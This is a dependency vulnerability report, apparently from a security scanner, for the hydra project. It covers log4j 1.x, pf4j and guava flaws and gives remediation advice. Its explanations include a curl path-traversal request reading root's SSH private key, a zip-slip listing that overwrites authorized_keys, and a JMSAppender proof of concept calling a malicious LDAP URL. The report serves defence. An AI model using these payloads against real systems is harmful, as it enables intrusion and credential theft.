Find, fix and prevent vulnerabilities in your code.
critical severity
- Vulnerable module: log4j:log4j
- Introduced through: org.slf4j:slf4j-log4j12@1.7.25
Detailed paths
-
Introduced through: ClubObsidian/hydra@ClubObsidian/hydra#59201d850d43e15a151d839716aa3733e6442ee7 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.17
Overview
log4j:log4j is a 1.x branch of the Apache Log4j project. Note: Log4j 1.x reached End of Life in 2015, and is no longer supported.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. Included in Log4j 1.2 is a SocketServer class that is vulnerable to deserialization of untrusted data which can be exploited to remotely execute arbitrary code when combined with a deserialization gadget when listening to untrusted network traffic for log data.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.
Deserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution.
Java deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.
An attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed.
Developers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the readObject() methods of various classes which are available on the classpath of the vulnerable application, an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).
Remediation
There is no fixed version for log4j:log4j.
References
high severity
- Vulnerable module: org.pf4j:pf4j
- Introduced through: org.pf4j:pf4j@2.5.0
Detailed paths
-
Introduced through: ClubObsidian/hydra@ClubObsidian/hydra#59201d850d43e15a151d839716aa3733e6442ee7 › org.pf4j:pf4j@2.5.0Remediation: Upgrade to org.pf4j:pf4j@3.10.0.
Overview
Affected versions of this package are vulnerable to Directory Traversal via the loadpluginPath parameter. An attacker can obtain sensitive information and execute arbitrary code by manipulating the input.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade org.pf4j:pf4j to version 3.10.0 or higher.
References
high severity
- Vulnerable module: log4j:log4j
- Introduced through: org.slf4j:slf4j-log4j12@1.7.25
Detailed paths
-
Introduced through: ClubObsidian/hydra@ClubObsidian/hydra#59201d850d43e15a151d839716aa3733e6442ee7 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.17
Overview
log4j:log4j is a 1.x branch of the Apache Log4j project. Note: Log4j 1.x reached End of Life in 2015, and is no longer supported.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. CVE-2020-9493 identified a deserialization issue that was present in Apache Chainsaw. Prior to Chainsaw V2.0 Chainsaw was a component of Apache Log4j 1.2.x where the same issue exists.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.
Deserialization of untrusted data (CWE-502) is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, thus allowing the attacker to control the state or the flow of the execution.
Remediation
There is no fixed version for log4j:log4j.
References
high severity
- Vulnerable module: log4j:log4j
- Introduced through: org.slf4j:slf4j-log4j12@1.7.25
Detailed paths
-
Introduced through: ClubObsidian/hydra@ClubObsidian/hydra#59201d850d43e15a151d839716aa3733e6442ee7 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.17
Overview
log4j:log4j is a 1.x branch of the Apache Log4j project. Note: Log4j 1.x reached End of Life in 2015, and is no longer supported.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. JMSSink in all versions of Log4j 1.x is vulnerable to deserialization of untrusted data when the attacker has write access to the Log4j configuration or if the configuration references an LDAP service the attacker has access to. The attacker can provide a TopicConnectionFactoryBindingName configuration causing JMSSink to perform JNDI requests that result in remote code execution in a similar fashion to CVE-2021-4104.
Note: this issue only affects Log4j 1.x when specifically configured to use JMSSink, which is not the default.
Apache Log4j 1.2 reached end of life in August 2015. Users should upgrade to Log4j 2 as it addresses numerous other issues from the previous versions.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.
Deserialization of untrusted data (CWE-502) is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, thus allowing the attacker to control the state or the flow of the execution.
Remediation
There is no fixed version for log4j:log4j.
References
high severity
- Vulnerable module: log4j:log4j
- Introduced through: org.slf4j:slf4j-log4j12@1.7.25
Detailed paths
-
Introduced through: ClubObsidian/hydra@ClubObsidian/hydra#59201d850d43e15a151d839716aa3733e6442ee7 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.17
Overview
log4j:log4j is a 1.x branch of the Apache Log4j project. Note: Log4j 1.x reached End of Life in 2015, and is no longer supported.
Affected versions of this package are vulnerable to SQL Injection. By design, the JDBCAppender in Log4j 1.2.x accepts an SQL statement as a configuration parameter where the values to be inserted are converters from PatternLayout. The message converter, %m, is likely to always be included. This allows attackers to manipulate the SQL by entering crafted strings into input fields or headers of an application that are logged allowing unintended SQL queries to be executed.
Note: this issue only affects Log4j 1.x when specifically configured to use the JDBCAppender, which is not the default.
Apache Log4j 1.2 reached end of life in August 2015. Users should upgrade to Log4j 2 as it addresses numerous other issues from the previous versions. Beginning in version 2.0-beta8, the JDBCAppender was re-introduced with proper support for parameterized SQL queries and further customization over the columns written to in logs.
Remediation
There is no fixed version for log4j:log4j.
References
high severity
- Vulnerable module: org.pf4j:pf4j
- Introduced through: org.pf4j:pf4j@2.5.0
Detailed paths
-
Introduced through: ClubObsidian/hydra@ClubObsidian/hydra#59201d850d43e15a151d839716aa3733e6442ee7 › org.pf4j:pf4j@2.5.0Remediation: Upgrade to org.pf4j:pf4j@3.10.0.
Overview
Affected versions of this package are vulnerable to Remote Code Execution (RCE) via the zippluginPath parameter which allows a remote attacker to obtain sensitive information and execute arbitrary code.
Remediation
Upgrade org.pf4j:pf4j to version 3.10.0 or higher.
References
high severity
- Vulnerable module: org.pf4j:pf4j
- Introduced through: org.pf4j:pf4j@2.5.0
Detailed paths
-
Introduced through: ClubObsidian/hydra@ClubObsidian/hydra#59201d850d43e15a151d839716aa3733e6442ee7 › org.pf4j:pf4j@2.5.0Remediation: Upgrade to org.pf4j:pf4j@3.10.0.
Overview
Affected versions of this package are vulnerable to Arbitrary File Write via Archive Extraction (Zip Slip) via the expandIfZip method in the extract function. An attacker can obtain sensitive information and execute arbitrary code by exploiting this method.
Details
It is exploited using a specially crafted zip archive, that holds path traversal filenames. When exploited, a filename in a malicious archive is concatenated to the target extraction directory, which results in the final path ending up outside of the target folder. For instance, a zip may hold a file with a "../../file.exe" location and thus break out of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicous file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
+2018-04-15 22:04:29 ..... 19 19 good.txt
+2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade org.pf4j:pf4j to version 3.10.0 or higher.
References
medium severity
- Vulnerable module: log4j:log4j
- Introduced through: org.slf4j:slf4j-log4j12@1.7.25
Detailed paths
-
Introduced through: ClubObsidian/hydra@ClubObsidian/hydra#59201d850d43e15a151d839716aa3733e6442ee7 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.17
Overview
log4j:log4j is a 1.x branch of the Apache Log4j project. Note: Log4j 1.x reached End of Life in 2015, and is no longer supported.
Affected versions of this package are vulnerable to Arbitrary Code Execution.
Note: Even though this vulnerability appears to be related to the log4j 2.x vulnerability, the 1.x branch of the module requires an attacker to have access to modify configurations to be exploitable, which is rarely possible.
In order to leverage this vulnerability the following conditions must be met:
- The application has enabled
JMSAppender(or a class that extendsJMSAppender) - The attacker has access to directly modify the
TopicBindingNameorTopicConnectionFactoryBindingNameconfiguration variables - which is an unlikely scenario
If these conditions are met, log4j 1.x allows a lookup feature that does not protect against attacker-controlled LDAP and other JNDI related endpoints. Therefore, an attacker with access to the aforementioned configuration variables is able to execute arbitrary code when loaded from an LDAP server.
PoC
import org.apache.log4j.net.JMSAppender;
// ...
JMSAppender a = new JMSAppender();
a.setTopicConnectionFactoryBindingName("ldap://<malicious-url>");
// OR a.setTopicBindingName("ldap://<malicious-url>");
a.activateOptions();
Remediation
There is no fixed version for log4j:log4j.
References
medium severity
- Vulnerable module: log4j:log4j
- Introduced through: org.slf4j:slf4j-log4j12@1.7.25
Detailed paths
-
Introduced through: ClubObsidian/hydra@ClubObsidian/hydra#59201d850d43e15a151d839716aa3733e6442ee7 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.17
Overview
log4j:log4j is a 1.x branch of the Apache Log4j project. Note: Log4j 1.x reached End of Life in 2015, and is no longer supported.
Affected versions of this package are vulnerable to Denial of Service (DoS). When using the Chainsaw or SocketAppender components with Log4j 1.x on JRE less than 1.7, an attacker that manages to cause a logging entry involving a specially-crafted, deeply nested hashmap or hashtable (depending on which logging component is in use) to be processed could exhaust the available memory in the virtual machine and achieve denial of service when the object is deserialized.
This issue affects Apache Log4j before 2. Affected users are recommended to update to Log4j 2.x org.apache.logging.log4j/log4j-core.
NOTE: This vulnerability only affects products that are no longer supported by the maintainer.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
There is no fixed version for log4j:log4j.
References
low severity
- Vulnerable module: log4j:log4j
- Introduced through: org.slf4j:slf4j-log4j12@1.7.25
Detailed paths
-
Introduced through: ClubObsidian/hydra@ClubObsidian/hydra#59201d850d43e15a151d839716aa3733e6442ee7 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.17
Overview
log4j:log4j is a 1.x branch of the Apache Log4j project. Note: Log4j 1.x reached End of Life in 2015, and is no longer supported.
Affected versions of this package are vulnerable to Man-in-the-Middle (MitM). Improper validation of certificate with host mismatch in Apache Log4j SMTP appender. This could allow an SMTPS connection to be intercepted by a man-in-the-middle attack which could leak any log messages sent through that appender.
Remediation
There is no fixed version for log4j:log4j.
References
low severity
- Vulnerable module: com.google.guava:guava
- Introduced through: com.google.inject:guice@4.2.2
Detailed paths
-
Introduced through: ClubObsidian/hydra@ClubObsidian/hydra#59201d850d43e15a151d839716aa3733e6442ee7 › com.google.inject:guice@4.2.2 › com.google.guava:guava@25.1-android
Overview
com.google.guava:guava is a set of core libraries that includes new collection types (such as multimap and multiset,immutable collections, a graph library, functional types, an in-memory cache and more.
Affected versions of this package are vulnerable to Creation of Temporary File in Directory with Insecure Permissions due to the use of Java's default temporary directory for file creation in FileBackedOutputStream. Other users and apps on the machine with access to the default Java temporary directory can access the files created by this class. This more fully addresses the underlying issue described in CVE-2020-8908, by deprecating the permissive temp file creation behavior.
NOTE: Even though the security vulnerability is fixed in version 32.0.0, the maintainers recommend using version 32.0.1, as version 32.0.0 breaks some functionality under Windows.
Remediation
Upgrade com.google.guava:guava to version 32.0.0-android, 32.0.0-jre or higher.
References
low severity
- Vulnerable module: com.google.guava:guava
- Introduced through: com.google.inject:guice@4.2.2
Detailed paths
-
Introduced through: ClubObsidian/hydra@ClubObsidian/hydra#59201d850d43e15a151d839716aa3733e6442ee7 › com.google.inject:guice@4.2.2 › com.google.guava:guava@25.1-android
Overview
com.google.guava:guava is a set of core libraries that includes new collection types (such as multimap and multiset,immutable collections, a graph library, functional types, an in-memory cache and more.
Affected versions of this package are vulnerable to Information Disclosure.
The file permissions on the file created by com.google.common.io.Files.createTempDir allow an attacker running a malicious program co-resident on the same machine to steal secrets stored in this directory. This is because, by default, on unix-like operating systems the /tmp directory is shared between all users, so if the correct file permissions aren't set by the directory/file creator, the file becomes readable by all other users on that system.
PoC
File guavaTempDir = com.google.common.io.Files.createTempDir();
System.out.println("Guava Temp Dir: " + guavaTempDir.getName());
runLS(guavaTempDir.getParentFile(), guavaTempDir); // Prints the file permissions -> drwxr-xr-x
File child = new File(guavaTempDir, "guava-child.txt");
child.createNewFile();
runLS(guavaTempDir, child); // Prints the file permissions -> -rw-r--r--
For Android developers, choosing a temporary directory API provided by Android is recommended, such as context.getCacheDir(). For other Java developers, we recommend migrating to the Java 7 API java.nio.file.Files.createTempDirectory() which explicitly configures permissions of 700, or configuring the Java runtime's java.io.tmpdir system property to point to a location whose permissions are appropriately configured.
Remediation
There is no fix for com.google.guava:guava. However, in version 30.0 and above, the vulnerable functionality has been deprecated. In oder to mitigate this vulnerability, upgrade to version 30.0 or higher and ensure your dependencies don't use the createTempDir or createTempFile methods.